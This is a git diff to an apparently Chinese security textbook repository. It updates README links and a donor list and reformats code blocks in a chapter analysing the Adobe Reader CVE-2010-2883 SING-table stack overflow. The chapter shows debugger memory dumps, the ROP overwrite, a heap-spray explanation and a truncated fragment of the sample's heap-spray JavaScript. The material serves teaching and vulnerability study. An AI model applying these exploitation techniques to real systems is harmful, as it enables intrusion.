diff --git a/README.md b/README.md index 7619b88..fe0b5a7 100644 --- a/README.md +++ b/README.md @@ -16,11 +16,11 @@ GitHub 地址: -GitBook 地址: +GitBook 地址: PDF/Mobi/ePub 文件下载地址: -- (推荐) +- (推荐) - (不推荐) ## 目录 @@ -70,3 +70,4 @@ CC BY-SA 4.0 - 2020-04-05 jingle ¥200 - 2020-05-19 新写的旧歌 ¥5.2 - 2020-08-26 *绍林 ¥50 +- 2020-09-11 d0ub1e2 ¥66 diff --git a/doc/7.1.8_adobe_reader_2010-2883.md b/doc/7.1.8_adobe_reader_2010-2883.md index 8e9911a..cccfcd2 100644 --- a/doc/7.1.8_adobe_reader_2010-2883.md +++ b/doc/7.1.8_adobe_reader_2010-2883.md @@ -180,16 +180,17 @@ typedef struct 还是利用 PDFStreamDumper,从样本里将 TTF 取出来,需要注意的是 TTF 采用大端序。 +```html
 $ xxd -g1 hexC0E5.tmp | grep -A1 "SING"
 000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 53 49 4e 47  .G.:...,... SING
 000000f0: d9 bc c8 b5 00 00 01 1c 00 00 1d df 70 6f 73 74  ............post
 
- +``` 加粗部分即 SING 表目录项,其 `offset` 域为 `0x0000011c`。 于是找到 SING 表,其中加粗部分为 `uniqueName` 域: - +```html
 $ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
 00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00  ;..... ....h....
@@ -197,7 +198,7 @@ $ xxd -g1 hexC0E5.tmp | grep -A3 "00000110"
 00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83  s]R....J........
 00000140: 45 a2 04 7d 13 4b 30 18 98 95 ed 9f 3e cc 50 8b  E..}.K0.....>.P.
 
- +``` ### 栈溢出 我们已经知道栈溢出发生在 SING 表的处理中,于是在 IDA 中打开 CoolType.dll,搜索字符串 "SING": @@ -288,7 +289,7 @@ char *strncat(char *dest, const char *src, size_t n); ``` 此时的 this 指针指向 TTF 对象: - +```html
 d ecx:
 
@@ -300,17 +301,17 @@ d 021854B0:
 021854C0  B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54  確鬰..雙...VPCLT
 ...
 
- +``` 然后 F8 单步步过,eax 里是函数的返回值 `0012E4B4`,其值等于 this 指针的地址。 - +```html
 d 0012E4B4:
 
 0012E4B4  38 B9 7D 04 DF 1D 00 00 00 00 00 00 00 00 00 00  8箎?..........
 
- +``` 下一句给 eax 赋值为一个指向 SING 表的指针,即 this 指针的内容。 - +```html
 d 047DB938:
 
@@ -352,7 +353,7 @@ d 047DB938:
 047DBB68  CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C  ?H疢簒跱阓4?
 047DBB78  80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00  €V峞▌8m慛盩l...              <-- 0x22d bytes
 
- +``` 所以这个函数的作用已经清楚了,通过传入的 tag 字符串,在 this 指针指向的 TTF 对象里找到对应的表目录项,使用表地址重置 this 指针。 接下来就是 strcat 函数了。 @@ -457,7 +458,7 @@ d esp: ``` 在进入下面的内容前,我们再来看一个东西,即 `eax` 是由 `edi` 控制的,通过对函数调用的回溯,可以看到程序对 edi 的处理,它的值在整个过程中都是不变的,而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖,就可以控制 EIP 了。 - +```html
 d edi+0x3C:
 
@@ -467,7 +468,7 @@ d 0012E6D0:
 
 0012E6D0  38 CB 80 4A 44 B6 49 EA A5 2D 16 26 4B B1 FA D2  8藔JD禝辚-&K柄    <-- ROP
 
- +``` ### Heap spray 上面的 gadget 返回后,堆栈就被转移到 heap spray 的地方了。 @@ -475,7 +476,7 @@ d 0012E6D0: Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。 我们来实际看一下(加粗的地方是后面会用到的 gadgets 地址): - +```html
 0C0C0BE0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
 0C0C0BF0  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
@@ -517,10 +518,10 @@ Heap spray 是在 shellcode 的前面加上大量的 slide code(滑板指令
 0C0C0E30  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................    <-- NOP slide
 0C0C0E40  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
 
- +``` 通过 PDFStreamDumper 可以看到内嵌的 JavaScript,将变量还原后代码如下: -```javascript +```js var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' ); var rop = unescape( "%u0c0c%u0c0c" ); while (rop.length + 20 + 8 < 65536) rop+=rop; @@ -899,6 +900,6 @@ d 03E90000: ## 参考资料 - 《漏洞战争》 -- +- https://www.cvedetails.com/cve/CVE-2010-2883/ - [PDF File Format: Basic Structure](https://resources.infosecinstitute.com/pdf-file-format-basic-structure/) - [TrueType 1.0 Font Files](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf)